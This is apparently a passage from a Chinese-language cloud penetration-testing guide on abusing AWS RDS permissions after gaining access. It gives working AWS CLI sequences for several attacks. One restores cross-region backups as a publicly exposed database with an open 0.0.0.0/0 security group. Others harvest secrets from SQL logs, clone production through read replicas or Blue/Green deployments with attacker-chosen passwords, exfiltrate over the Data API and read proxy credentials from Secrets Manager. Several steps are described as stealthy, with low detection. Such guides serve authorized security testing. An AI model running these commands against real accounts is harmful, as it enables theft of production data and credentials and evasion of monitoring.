2) Start cross-Region automated backups replication (run in DEST region B)

aws rds start-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
–source-region <SOURCE_REGION>
–backup-retention-period 7

3) Wait for replication to be ready in DEST

aws rds describe-db-instance-automated-backups
–region <DEST_REGION>
–query ‘DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]’
–output table

Proceed when Status is “replicating” or “active” and note the DBInstanceAutomatedBackupsArn

4) Restore to latest restorable time in DEST

aws rds restore-db-instance-to-point-in-time
–region <DEST_REGION>
–source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
–target-db-instance-identifier <TARGET_DB_ID>
–use-latest-restorable-time
–db-instance-class db.t3.micro aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5) Make public and reset credentials in DEST

5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)

OPEN_SG_ID=$(aws ec2 create-security-group –region <DEST_REGION>
–group-name open-rds- –description open –vpc-id <DEST_VPC_ID>
–query GroupId –output text) aws ec2 authorize-security-group-ingress –region <DEST_REGION>
–group-id “$OPEN_SG_ID”
–ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges=‘[{CidrIp=0.0.0.0/0}]’

5b) Publicly expose restored DB and attach the SG

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–publicly-accessible
–vpc-security-group-ids “$OPEN_SG_ID”
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5c) Reset the master password

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–master-user-password ‘<NEW_STRONG_PASSWORD>’
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)

ENDPOINT=$(aws rds describe-db-instances –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–query ‘DBInstances[0].Endpoint.Address’ –output text) mysql -h “$ENDPOINT” -u <MASTER_USERNAME> -p’<NEW_STRONG_PASSWORD>’ -e ‘SHOW DATABASES;’

7) Optional: stop replication

aws rds stop-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

</details>


### 通过 DB 参数组 启用完整 SQL 日志并通过 RDS 日志 API 外泄

滥用 `rds:ModifyDBParameterGroup` 并结合 RDS 日志下载 API 捕获应用执行的所有 SQL 语句（不需要 DB 引擎凭据）。启用引擎的 SQL 日志，并通过 `rds:DescribeDBLogFiles` 和 `rds:DownloadDBLogFilePortion`（或 REST 的 `downloadCompleteLogFile`）拉取日志文件。可用于收集可能包含 secrets/PII/JWTs 的查询。

Permissions needed (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)

Steps
1) Recon 目标和当前参数组
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table

2. 确保已附加自定义 DB parameter group（无法编辑默认的）

• 如果该 instance 已经使用 custom group，请在下一步重用其名称。
• 否则创建并附加一个与 engine family 匹配的：

# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"

3. 启用详细的 SQL 日志记录

• MySQL 引擎（即时 / 无需重启）:

aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"

• PostgreSQL 引擎 (需要重启):

aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>

4. 让工作负载运行（或生成查询）。语句将被写入引擎文件日志

• MySQL: general/mysql-general.log
• PostgreSQL: postgresql.log

5. 发现并下载日志（无需 DB creds）

aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log

6. 离线分析以查找敏感数据

grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head

示例证据（已编辑）：

2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')

清理

• 将参数恢复为默认值，并在必要时重启：

# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot

影响：Post-exploitation 数据访问，通过 AWS APIs 捕获所有应用的 SQL 语句（无需 DB creds），可能导致 leaking secrets、JWTs 和 PII。

rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance

滥用 RDS 只读副本可以在不接触主实例凭据的情况下获得 out-of-band 的读取访问权限。攻击者可以从生产实例创建一个只读副本，重置该副本的主密码（这不会更改主实例），并可选择将副本公开暴露以 exfiltrate 数据。

所需权限（最低）：

• rds:DescribeDBInstances
• rds:CreateDBInstanceReadReplica
• rds:ModifyDBInstance
• ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress（如果公开暴露）

影响：通过具有攻击者控制凭据的副本获得对生产数据的只读访问；检测可能性较低，因为主实例保持不变且复制继续进行。

# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>

示例证据 (MySQL):

• 副本 DB 状态: available, 只读复制: replicating
• 使用新密码成功连接，并通过 @@read_only=1 确认对只读副本的访问。

rds:CreateBlueGreenDeployment, rds:ModifyDBInstance

滥用 RDS Blue/Green 将生产 DB 克隆到一个持续复制的只读 green 环境。然后重置 green 主凭据，以在不接触 blue (prod) 实例的情况下访问数据。这比 snapshot sharing 更隐蔽，且常常能绕过仅关注源端的监控。

# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true

影响：只读，但可以完全访问生产环境的近实时克隆，而不会修改生产实例。适合用于隐蔽的数据提取和离线分析。

Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password

滥用 Aurora 在目标集群上启用 RDS Data API 的 HTTP endpoint，重置 master password 为你可控的值，并通过 HTTPS 执行 SQL（不需要 VPC 网络路径）。适用于支持 Data API/EnableHttpEndpoint 的 Aurora 引擎（例如，Aurora MySQL 8.0 provisioned；某些 Aurora PostgreSQL/MySQL 版本）。

最低权限：

• rds:DescribeDBClusters, rds:ModifyDBCluster (或 rds:EnableHttpEndpoint)
• secretsmanager:CreateSecret
• rds-data:ExecuteStatement (如果使用则包括 rds-data:BatchExecuteStatement)

影响：绕过网络分段，通过 AWS APIs 外传数据，而无需与 DB 建立直接的 VPC 连接。

</details>

注意事项：
- 如果 rds-data 拒绝多语句 SQL，请分别发出 execute-statement 调用。
- 对于 modify-db-cluster --enable-http-endpoint 无效的引擎，请使用 rds enable-http-endpoint --resource-arn。
- 确保该引擎/版本实际支持 Data API；否则 HttpEndpointEnabled 将保持 False。


### 通过 RDS Proxy 的 auth secrets 获取 DB 凭证 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

滥用 RDS Proxy 配置以发现用于后端认证的 Secrets Manager secret，然后读取该 secret 以获取数据库凭据。许多环境授予了广泛的 `secretsmanager:GetSecretValue` 权限，使其成为一个低摩擦的转向 DB 凭证的方法。如果该 secret 使用 CMK，权限范围错误的 KMS 也可能允许 `kms:Decrypt`。

所需权限（最低）：
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` on the referenced SecretArn
- Optional when the secret uses a CMK: `kms:Decrypt` on that key

影响：立即披露配置在代理上的 DB 用户名/密码；可直接访问数据库或进行进一步横向移动。

步骤
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}

REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above

aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery